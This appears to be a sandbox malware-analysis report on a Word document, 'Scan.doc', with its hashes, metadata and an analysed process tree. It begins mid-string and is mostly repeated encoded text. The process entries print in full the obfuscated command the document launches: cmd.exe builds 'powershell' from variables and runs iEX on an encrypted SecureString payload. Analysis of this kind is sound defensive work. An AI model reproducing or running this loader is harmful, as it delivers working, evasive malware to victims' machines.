DUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" on 2018-2-28.11:17:29.463, "powershell "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" on 2018-2-28.11:17:29.667
      source
      Monitored Target
      relevance
      10/10

File Details

All Details:

Scan.doc

Filename
Scan.doc
Size
221KiB (226304 bytes)
Type
doc office
Description
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: nkqzhqbX, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Feb 27 05:23:00 2018, Last Saved Time/Date: Tue Feb 27 05:23:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 18, Security: 0
Architecture
WINDOWS
SHA256
129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6Copy SHA256 to clipboard
MD5
d7ffedbfbfb2e8ea4807066577700b2aCopy MD5 to clipboard
SHA1
05c90b961124c265d60114df7877fc9851b2634cCopy SHA1 to clipboard

Resources

Icon
Sample Icon

Visualization

Input File (PortEx)
PE Visualization

Classification (TrID)

  • 54.2% (.DOC) Microsoft Word document
  • 32.2% (.DOC) Microsoft Word document (old ver.)
  • 13.5% (.) Generic OLE2 / Multistream Compound File

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 5 processes in total (System Resource Monitor).

  • WINWORD.EXE /n "C:\129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc" (PID: 3592)
    • cmd.exe cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) )))) (PID: 3052)
